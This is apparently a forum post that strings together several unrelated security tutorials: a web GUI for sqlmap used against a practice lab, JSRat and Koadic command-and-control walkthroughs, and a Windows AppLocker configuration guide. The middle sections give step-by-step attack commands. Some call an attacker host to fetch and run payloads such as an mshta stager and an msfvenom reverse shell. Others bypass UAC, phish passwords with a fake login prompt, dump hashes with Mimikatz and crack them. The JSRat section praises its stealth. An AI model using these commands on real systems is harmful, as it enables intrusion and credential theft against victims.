Login

**NINZA** · 05-14-2020, 11:13 AM

0			0

Hello everyone and welcome to this tutorial of setting up SQLMAP for Web-GUI. Web-GUI simply refers to an interface that a browser provides you over the http/https service.
SQLMAP is a popular tool for performing SQL injection attacks on sites affected by MySQL errors; be it an error based SQL injection or hidden SQL; sqlmap is the biggest tool there is for performing SQL injection attacks. But very few people know that sqlmap also provides an API for its service that is written in python that we can use to develop a front end for the same sqlmap which is on command line interface.
One such person is Hood3dRob1n(

[To see content please register here]

) who has created a PHP based front end for sqlmap and today, we’ll be setting it up in Kali Linux. It is needless to say, it will be compatible with any Linux distro.
Let’s get started.

Table of Contents:

Cloning the GitHub repository and giving necessary permissions
Locating and hosting the API
Launching the front end
Attacking practice lab for SQLi

Cloning the GitHub repository
First, we need to clone the Hood3dRob1n repository. To clone, we’ll use the git clone command and put the folder named sqlmap inside “/var/www/html.”
git clone

[To see content please register here]

cd SQLMAP-Web-GUI
mv sqlmap ..
cd ..
chmod 777 * sqlmap
1
2
3
4
5
git clone

[To see content please register here]

cd SQLMAP-Web-GUI
mv sqlmap ..
cd ..
chmod 777 * sqlmap
[Image: 1.png?w=687&ssl=1]

Locating and hosting the API
The next step is to host an apache server. If you don’t have apache pre-installed, you can install it with apt-get install apache2 command.
After we have hosted the Apache server, we need to run the sqlmapapi.
The default folder would vary with multiple Linux distros, so we used the locate command to locate the file named “sqlmapapi.py”
We need to run this API using the command:
python /usr/share/sqlmap/sqlmapapi.py -s
1
python /usr/share/sqlmap/sqlmapapi.py -s
[Image: 2.png?w=687&ssl=1]

Launching the front end
If you have followed this tutorial so far, you’ll see the following screen when you open localhost/sqlmap
[Image: 3.png?w=687&ssl=1]

And voila! Just like that, you are good to start injecting SQL queries.
Attacking practice lab for SQLi
There are 6 tabs essentially here.

BASIC: This tab allows you to set the URL to test SQL injections. You can set an HTTP method too. Given options are POST, PUT, HEAD etc.
REQUEST: Allows you to modify your request with optional parameters like time delay, timeout between requests, no. of retries to connect, user agent etc.
INJECTION & TECHNIQUE: Lets you choose which kind of injection and techniques you are applying– Boolean-based, error based, inline etc. as well as other options like use of DBMS hex functions for data retrieval, kind of database (MYSQL or MSSQL) and so on.
DETECTION: To set a custom string to match.
ENUMERATION: What data to retrieve. Eg: current user and current database dump. Or if you are feeling fancy, all users all data dump. You can play around with it.
ACCESS: Access parameters. Leave this at default if you don’t know your way around it.

We will set the parameters one by one as we proceed. But we never attack live websites, hence, we used another PC with an IP address of 192.168.1.105 to host a practice lab for SQL injection attacks called SQL-Dhakkan. Refer to

[To see content please register here]

article to know how you can set it up yourself!
If you are successful to set up the lab, you’ll get a screen something like this:
[Image: 4.png?w=687&ssl=1]

I am on Lesson 1 currently and I know that id=1 has an error based SQLi vulnerability. So, let’s copy this URL to our web-GUI sqlmap.
[Image: 5.png?w=687&ssl=1]

It is highly recommended that you get yourself familiar with HTTP methods and read how to manually attack SQLi

[To see content please register here]

because it will give you a profound idea of the options we will be selecting further in the tutorial. But if you wish to continue with the tutorial instead, who am I to stop you!
Go to the enumeration tab and select the methods that you want to test.
[Image: 6.png?w=687&ssl=1]

Once set, set the type of SQLi you want to perform.
[Image: 7.png?w=687&ssl=1]

Once you are satisfied with the choices you input, run the scan!
For the purpose of this tutorial, we have performed a really basic scan that tells us the current database and hostname, but you can play around with the parameters as you like.
[Image: 9.png?w=687&ssl=1]

Conclusion: Web-based GUI for sqlmap is definitely a plus point over the traditional sqlmap for many reasons, one of them being the ease of access. There is no need to remember such long commands. Drag, drop and done!
Plus, web-based GUI is nothing but a web app for you. A web app that runs sqlmap, isn’t it great?
Hope you enjoyed this little tutorial.

Learning only one framework such as Metasploit etc. has its own limitations. Todays’ ever-developing cyber world requires an end to end knowledge of every tool and framework so that if you are cut off of one method, you have another to save yourself. That is the reason today through this article we are going to learn about JSRat.
Tables of Content

Introduction
Downloading and installation
Access the web server
Rundll attack
Regsvr32 attack

Introduction
As the name suggests this tool is developed in JavaScript. Numeral commands and controls of this framework can be used for multiple methods of attack and also, to hide malicious traffic. These attacks can be done in various formats. JSRat is developed by Casey Smith. He developed this framework as a prototype tool. It allows the payload to connect to the listening server. 3gstudent is the security researcher who extended Casey’s work and refined the tool. He developed it in PowerShell due which extra features are added. These features were created in python which allows the server to be both Linux and Windows friendly. The basic protocol used is HTTP for the server to work. Usage of both implementation, i.e. in python and PowerShell, are shown in this article.
Downloading and Installation
As this tool is user-friendly, downloading and installation of this tool are very easy. You can download it from

[To see content please register here]

. Once you copy the cloning code from the link provided; type the following command to download :
git clone //github.com/Hood3dRob1n/JSRat-Py.git
1
git clone //github.com/Hood3dRob1n/JSRat-Py.git
Running the command presented above will download and install JSRat. Once it’s all done, use the following command to check the file.
cd JSRat-Py/
ls
1
2
cd JSRat-Py/
ls
[Image: 1.png?w=687]

Now, use the following command to start the framework :
./JSRat.py -i 192.168.1.107 -p 4444
1
./JSRat.py -i 192.168.1.107 -p 4444
[Image: 2.png?w=687]

In the above command, we have specified IP of our own machine and port for the web server to run.
As the server is up and running, it will show the various files it made as shown in the image below :
[Image: 3.png?w=687]

You can find these files by accessing the server from your or victim’s browser. If you look closely, there is a code given on the server. This code allows you to execute a rundll attack.
[Image: 4.png?w=687]

Copy this code and paste it in the command prompt of the victims’ PC. As shown in the following image :
[Image: 5.png?w=687]

As soon as the command is executed you will have a session.
[Image: 6.png?w=687]

Now on the same server, there is a regsvr32 file, which can also help us to get a session.
[Image: 7.png?w=687]

Copy the file command and paste it in the run window.
[Image: 8.png?w=687]

Similar to rundll attack, after running the above command you will have your session.
[Image: 9.png?w=687]

Conclusion
As this framework returns HTTP shell using JavaScript. You can see that the two attacks that we have shown above exhibits that rundll and regsvr32 use JavaScript code in command prompt and HTTP shell to return while the coded is executed. As it works through the server developed in python; our malicious files don’t get written on the disk, which is an advantage to us. This also increases the possibility of being the stealthiest of the attacks. Another advantage is this file can avoid being killed. Therefore, these tools prove to be great without fail.

Hello friends!! In this article, we are introducing another most interesting tool “KOADIC – COM Command & Control” tool which is quite similar to Metasploit and Powershell Empire. So let’s began with its tutorial and check its functionality.
Table of Content

Introduction to Koadic
Installation of Koadic
Usage of Koaidc
Koadic Stagers
Privilege Escalation with Koadic Implants
Post Exploitation
- Generate Fake Login Prompt
- Enable Rdesktop
- Inject Mimikatz
- Execute Command
- Obtain Meterpreter Session from Zombie Session

Introduction to Koadic
Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire. The major difference is that Koadic does most of its operations using Windows Script Host (a.k.a. JScript/VBScript), with compatibility in the core to support a default installation of Windows 2000 with no service packs (and potentially even versions of NT4) all the way through Windows 10.
It is possible to serve payloads completely in memory from stage 0 to beyond, as well as use cryptographically secure communications over SSL and TLS (depending on what the victim OS has enabled).
Koadic also attempts to be compatible with both Python 2 and Python 3. However, as Python 2 will be going out the door in the not-too-distant future, we recommend using Python 3 for the best experience.
Source – //github.com/zerosum0x0/koadic
Installation of Koadic
It must first be downloaded and installed in order to start using Koadic. Run the following command to download Koadic from github and also take care of its dependency tools while installing koadic.
git clone //github.com/zerosum0x0/koadic
cd koadic
1
2
git clone //github.com/zerosum0x0/koadic
cd koadic

apt-get install python3-pip
pip3 install -r requirements.txt
./koadic
1
2
3
apt-get install python3-pip
pip3 install -r requirements.txt
./koadic
[Image: 1.png?w=687]

Usage of Koaidc
This tool majorly depends upon stager and implant. It contains 6 stager and 41 implants.
Stager: Stagers hook target zombies and allow you to use implants.
Implants: Implants start jobs on zombies.
Once installation gets completed, you can run ./koadic file to start koadic. Then run the most helpful command to get the synopsis of the use of koadic. The help command summarizes the various commands available. Koadic functions are similar to other frameworks, such as Metasploit.
[Image: 2.png?w=687]

To load all available module in the terminal run “use <tab> <tab>” command. This will dump all available implant and stagers for execution or explore stager module with following commands:
use stager/js/
1
use stager/js/
This will give you all stagers that will be useful for getting zombie session of the target machine.
[Image: 3.png?w=687]

Koadic Stagers
The stager enables us to describe where any zombie device accesses the Koadic command and control. Some of these settings can be viewed by running info command once the module is selected. Let’s start with loading the mshta stager by running the following command.
Set SRVHOST where the stager should call home and SRVPORT the port to listen for stagers on or even you can set ENDPOINT for the malicious file name and then enter run to execute.
set SRVHOST 192.168.1.107
set ENDPOINT sales
run
1
2
3
set SRVHOST 192.168.1.107
set ENDPOINT sales
run
[Image: 4.png?w=687]

Now run below command to execute the above generated malicious file.
mshta //192.168.1.107:9999/sales
1
mshta //192.168.1.107:9999/sales
[Image: 5.png?w=687]

Once the malicious sales file will get executed on the target machine, you will have a Zombie connection just like metasploit.
zombies 0
1
zombies 0
[Image: 6.png?w=687]

Privilege Escalation with Koadic Implants
Once you have zombie session after than you can use implant modules for privilege escalation that includes bypass UAC.
Koadic contains all modules to bypass UAC of Windows 7, 8, 10 platform so that you can extract system level information. We can load this module by running the command below within Koadic.
use implant/elevate/bypassuac_eventvwr
1
use implant/elevate/bypassuac_eventvwr
Then, we will set the payload value to run the module. You can use default zombie value as “ALL” to attack all zombies or can set the particular zombie id you want to attack. Use the command below to adjust the payload value and zombie.
set PAYLOAD 0
set ZOMBIE 0
run
1
2
3
set PAYLOAD 0
set ZOMBIE 0
run
[Image: 7.png?w=687]

Post Exploitation
Generate Fake Login Prompt
You can start a phishing attack with koadic and track the victim’s login credentials. We can load this module by running the command below within Koadic.
use implant/phish/password_box
set ZOMBIE 1
run
1
2
3
use implant/phish/password_box
set ZOMBIE 1
run
[Image: 8.png?w=687]

This will launch a Prompt screen for login at the victim’s machine.
[Image: 9.png?w=687]

Therefore, if the victim enters his password in a fake prompt, you get the password in the command and control shell of Koadic.
[Image: 10.png?w=687]

Enable Rdesktop
Just like metasploit, here also you can enable remote desktop service in the victim’s machine with the following implant module.
use implant/manage/enable_rdesktop
set ZOMBIE 1
run
1
2
3
use implant/manage/enable_rdesktop
set ZOMBIE 1
run
As you can observe in the below image that job 4 is completed successfully and it has enabled rdesktop service.
[Image: 11.png?w=687]

We can ensure for rdesktop service with the help of nmap to identify state for port 3389.
nmap -p3389 192.168.1.103
1
nmap -p3389 192.168.1.103
Hmm!! So you can observe from nmap result we found port 3389 is open which means rdesktop service is enabled.
[Image: 12.png?w=687]

Inject Mimikatz
It will let you inject mimikatz in victim’s machine for extracting the password from inside the machine. We can load this module by running the command below within Koadic.
use implant/inject/mimikatz_dotnet2js
set ZOMBIE 1
run
1
2
3
use implant/inject/mimikatz_dotnet2js
set ZOMBIE 1
run
As result, it will dump the NTLM hash password which we need to crack. Save the NTLM value in a text file.
[Image: 13.png?w=687]

Then we will use john the ripper for cracking hash value, therefore run following command along with the hash file as shown below:
john hash --format=NT
1
john hash --format=NT
As you can observe that it has shown 123 as the password extracted from the hash file.
[Image: 14.png?w=687]

Execute Command
Since we high privileged shell, therefore, we are free to run any implant module for Post exploitation, and now we are using exec_cmd to execute any command on the Windows system. To load this implant, run the command given below.
use implant/manage/exec_cmd
1
use implant/manage/exec_cmd
Then, we will set the CMD value to run the specified command along with Zombie id.
set CMD ipconfig
set ZOMBIE 1
run
1
2
3
set CMD ipconfig
set ZOMBIE 1
run
[Image: 15.png?w=687]

Obtain Meterprter Session from Zombie Session
If you are having zombie session then you can get meterpreter session through it. Generate a malicious file with the help of msfvenom and start multi handle, as we always do in metasploit.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 -f exe > shell.exe
1
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport=1234 -f exe > shell.exe
[Image: 16.png?w=687]

Koadic provides an implant module that allows you to upload any file inside the machine of the victim if you have zombie sessions. To load this implant, run the following command:
use implant/util/upload_file
1
use implant/util/upload_file
Now set the file location and Zombie Id then run the module. This will upload your malicious in writable directory i.e. %TEMP%.
set LFILE /root/shell.exe
set ZOMBIE 1
run
1
2
3
set LFILE /root/shell.exe
set ZOMBIE 1
run
Once the job is completed then again use exec_cmd to run the uploaded file with the help of this module.
use implant/manage/exec_cmd
1
use implant/manage/exec_cmd
Then, we will set the CMD value to run the uploaded shell.exe file along with Zombie id.
set CMD %TEMP%/shell.exe
set ZOMBIE 1
run
1
2
3
set CMD %TEMP%/shell.exe
set ZOMBIE 1
run
[Image: 17.png?w=687]

Once you will execute the malicious exe file within Koadic zombie session, you will get a meterpreter session in the metasploit framework as shown below:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set rhost IP 192.168.1.107
msf exploit(handler) > set lport 1234
msf exploit(handler) > exploit
1
2
3
4
5
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set rhost IP 192.168.1.107
msf exploit(handler) > set lport 1234
msf exploit(handler) > exploit
Once the file is executed on the machine we will get the victim machine meterpreter session as shown below:
[Image: 18.png?w=687]

This Post is based on “Microsoft Windows – Applocker Policy” and this topic for System Administrator, defines the AppLocker rules for your application control policies and how to work with them.
Table of Content
Introduction to Applocker

What is applocker Policy?
Who Should Use AppLocker?
What can your rules be based upon?

Configure the Applocker to Allow/Deny Execution of an App

Configure Enforcement rule
Create Default Rules

Modify Executable Default Rules to Allow an App

Rule conditions
- Publisher
- Path
- File Hash

Modify Windows Installer Default Rules to Allow an App
Modify Script Default Rules to Allow an App
Creating New Rules to Block an APP
Introduction to Applocker
What is applocker Policy?
Windows Applocker is a function that was introduced in home windows 7 and windows server 2008 r2 as a method to restrict the usage of unwanted Programs. Windows AppLocker lets administrators control which executable files are denied or allowed to be run. With this policy, administrators are able to generate rules based on file names, publishers or file locations on unique identities of files and specify which users or groups can execute those applications.
What can your rules be based upon?
The AppLocker console is ordered into rule collections, which include executable files, scripts, Windows Installer files, packaged apps, and packaged app installers, and DLL files. These collections allow you to easily distinguish rules for different types of applications. The following table lists the file formats included in each rule collection.
[Image: 0.png?w=687]

Who Should Use AppLocker?
AppLocker is worthy for organizations that have to accomplish any of the following jobs:

Check which applications are allowed to run inside the company network.
Check which users are allowed to use the licensed program.
Offer an audit log of what kind of applications clients were running.
Prevent trendy users from installing software per user.

Configure the Applocker to Allow/Deny Execution of an App
In the Group Policy Object Editor at Computer Configuration > Windows Settings > Security Settings > Application Control Policies > AppLocker, the Windows AppLocker settings exist.
[Image: 1.png?w=687]

Configure Enforcement Rule
Use the enforcement setting for each collection to configure to Enforce rules, rules are enforced for the rule collection and all events are audited.
[Image: 2.png?w=687]

Select the Configured check box for the rule collection that you are editing, and then verify that Enforce rules are selected.
Click OK.

Open the Advanced tab and enable the DLL rule collection.
[Image: 4.png?w=687]

Create Default Rules
AppLocker includes default rules for each rule collection. These rules are intended to help ensure that the files that are required for Windows to operate properly are allowed in an AppLocker rule collection.

Open the AppLocker console.
Right-click the appropriate rule type for which you want to generate default rules automatically. You can automatically create executable rules, Windows Installer rules, script rules, and packaged application rules.
Click Create Default Rules.

Executable Default Rule Types Include:

Allow members of the local Administrators group to run all apps.
Allow members of the Everyone group to run apps that are located in the Windows folder.
Allow members of the Everyone group to run apps that are located in the Program Files folder.

Modify Executable Default Rules to Allow an App
A rule can be configured to use allow or deny actions:

ALLOW: You can specify which files are allowed to run in your environment, and for which users or groups of users.
DENY: You can specify which files are not allowed to run in your environment, and for which users or groups of users.

Once you have configured default rules as done above, then you can modify it as per your requirement. For example, if you want to modify rule: “Allow members of the Everyone group to run apps that are located in the Program Files folder” for specific user or group to allow a specific program file execution, then go its property by making right click on that rule and follow below steps.
[Image: 6.png?w=687]

Select the file or folder path that this rule should affect. The asterisk (*) can be used as a wildcard in the rules of the path. For example, %ProgramFiles% \* indicates that all files and subfolders within that path.
[Image: 7.png?w=687]

Rule conditions
Conditions of rules are criteria for AppLocker to identify the applications to which the rule applies. The three main rules are the publisher, path, and hash of the file.
Publisher
Identifies a digital signature- based application. The digital signature encloses information about the company (the publisher) who created the application.
Wildcard characters can be used as values in the publisher rule fields according to the following specifications:
Advantage:

Frequent updating is not required.
You can apply different values within a certificate.
You can use a single rule to allow a complete product suite.
Within the publisher rule, you can use the asterisk (*) wildcard character to specify that any value should match.

Disadvantage:

While a single rule can be used to allow a complete product suite, all files in the suite must be uniformly signed.

Path
Identify an app in the computer file system or on the network by its location. For well-known paths such as Program Files and Windows, AppLocker uses custom path variables.
Advantages:

Many folders or a single file can be easily controlled.
The asterisk (*) can be used as a wildcard in the rules of the path. For example, %ProgramFiles%\Microsoft Office\* indicates that all files and subfolders within the Microsoft Office folder will be affected by the rule.

Disadvantage:

It could be at risk if a rule that is organized to use a folder path holds subfolders that are writable by the local user.

File Hash
Represents the calculated cryptographic hash system of the identified file. For non-digitally signed files, file hash rules are safer than path rules.
Advantage:

Since each file has a unique hash, a file hash condition only applies to one file.

Disadvantage:

Whenever the file is updated (such as security updates or upgrades), the hash of the file changes. Consequently, you have to manually update the rules for file hash.

Modify Windows Installer Default Rules to Allow an App
Windows Installer Default Rule Types Include:

Allow members of the local Administrators group to run all Windows Installer files.
Allow members of the Everyone group to run all digitally signed Windows Installer files.
Allow members of the Everyone group to run all Windows Installer files that are located in the Windows\Installer folder.

Similarly, if you want to modify Windows Install default rules, then repeat above steps.
[Image: 9.png?w=687]

Wildcard characters can be used as values in the publisher rule fields according to the following specifications:
Publisher: The asterisk (*) character used by itself represents any publisher.
Product name: The asterisk (*) character used by itself represents any product name.
File name: Either the asterisk (*) or question mark (?) characters used by themselves represent any and all file names.
File version: The asterisk (*) character used by itself represents any file version. If you want to limit the file version to a specific version or as a starting point, you can state the file version and then use the following options to apply limits:

Exactly. The rule applies only to this version of the app
And above. The rule applies to this version and all later versions.
And Below. The rule applies to this version and all earlier versions.

Open Exceptions and then again select Publisher.
[Image: 11.png?w=687]

Modify Script Default Rules to Allow an App
Script Default Rule Types Include:

Allow members of the local Administrators group to run all scripts.
Allow members of the Everyone group to run scripts that are located in the Program Files folder.
Allow members of the Everyone group to run scripts that are located in the Windows folder.

Similarly, if you want to modify Script default rules, then repeat above steps.
[Image: 12.png?w=687]

Select the file or folder path that this rule should affect.
[Image: 13.png?w=687]

Open Exceptions and then again select Publisher.
In this way, you can implement Default rules and modify them for Executable file, Script rules or Windows Installer files according to your situation.
[Image: 14.png?w=687]

Creating New Rules to Block an APP
If you want to make your own rule in order to allow or deny an action for any application, you can choose the options ” Create New Rule” below. Let’s say, I want to create a new Executable file rule to restrict command prompt execution for everyone.
[Image: 16.png?w=687]

Then, you will get a wizard that helps you to create an Applocker rule, which will truly be based on the file attribute such as the file path and digital signature.
NOTE: Install the applications you want to create the rules for on this computer.
[Image: 17.png?w=687]

Now the action to use and the user or group that this rule should apply to. A deny action prevent affected file from running.
[Image: 18.png?w=687]

Select the type of primary condition that you would like to create. Here we have chosen “Publisher” options.
[Image: 19.png?w=687]

Browse for a signed file to use as a reference for the rule. Here we have browsed the cmd.exe and then click on next.
[Image: 20.png?w=687]

Choose the Publisher as an exception and then click Next.
[Image: 21.png?w=687]

And finally, this will add your rule to restrict the cmd.exe.
[Image: 23.png?w=687]

Set Application identity to Automatic mode:
Then navigate to “Application identity Property” through Computer Configuration > Policies > Windows Settings > Security Settings > System Services > Application identity.
Then enable the “Automatic” option as the service startup mode.
Now update the Group policy with the help of gpupdate command.
[Image: 24.png?w=687]

Now when you will try to open command prompt “cmd.exe” then you will get services restriction prompt as shown.
[Image: 25.png?w=687]

Note: If you are configuring these rule on a single machine then it will take some time to impose the rule over the machine.
Reference: //docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/working-with-applocker-rules

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis